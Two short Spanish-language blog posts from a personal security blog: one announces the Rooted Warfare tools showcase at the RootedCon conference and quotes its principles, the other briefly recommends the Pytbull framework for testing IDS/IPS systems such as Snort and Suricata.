La RootedCon es uno de los temas que mas trato en este blog, aunque solo han sido entradas referentes al congreso en si y nunca (creo recordar) a las facetas paralelas como ahora la Rooted Warfare. Este nuevo proyecto de se trata de un arsenal propiamente hecho de herramientas de la Rooted con el mayor deseo de promocionar lo que se hace aquí en nuestro país que no es poco.


"Las premisas que mantendrán el evento serán:
– Principio de neutralidad: En Rooted Warfare pueden y podrán hablar y presentar sus ideas los miembros de la comunidad de seguridad, estudiantes, profesionales, empresas, aficionados, fuerzas del estado, hackers y, por qué no, artistas y académicos.
– Herramientas No Comerciales: Sólo serán aceptadas herramientas accesibles para los asistentes y de carácter no comercial.
– Sin Censura. Mientras se ciñan a los límites de la legalidad, los contenidos no serán nunca censurados y se presentarán con la profesionalidad y el rigor necesarios; sabemos que nuestros ponentes son profesionales serios, cuyos contenidos merecen ser tratados con todo el respeto.
– Promover el conocimiento técnico: a través de las diferentes presentaciones que realizarán los creadores de las herramientas."
Para mas información os dejo la pagina oficial: 
La verdad es que me parece una idea genial, dado que congresos como [BlackHat ya tienen sus propios arsenales] y esta demostrado que funcionan. Así que, estoy desando ver como prosigue este proyecto y espero que sea lo mejor posible. 

Sed Buenos ;) 

sábado, 1 de febrero de 2014

Pytbull.- Testeando IDS e IPS

Hace muchísimo que hablamos sobre los [Sistemas IDS e IPS] (Intrusion Detection/Prevention System) los cuales los haces la vida mucho mas fácil y agradable a los paranoicos como yo. Pero, estamos seguros de que nuestros IDS o IPS funcionan y no han sido anulados por algún malware. Para eso me ha hecho gracia encontrarme con el Framework Pytbull el cual nos ayudará a testar el buen funcionamiento de estos sistemas. 


"pytbull is an Intrusion Detection/Prevention System (IDS/IPS) Testing Framework for Snort, Suricata and any IDS/IPS that generates an alert file. It can be used to test the detection and blocking capabilities of an IDS/IPS, to compare IDS/IPS, to compare configuration modifications and to check/validate configurations."
lo he estado probando un rato pero, aun me falta mucho para aprender sobre el ya que contiene un montón de testeos y necesito tiempo para profundizar en ellos. Pero, ese una herramienta la mar de completa y recomendable. 


Sed Buenos ;)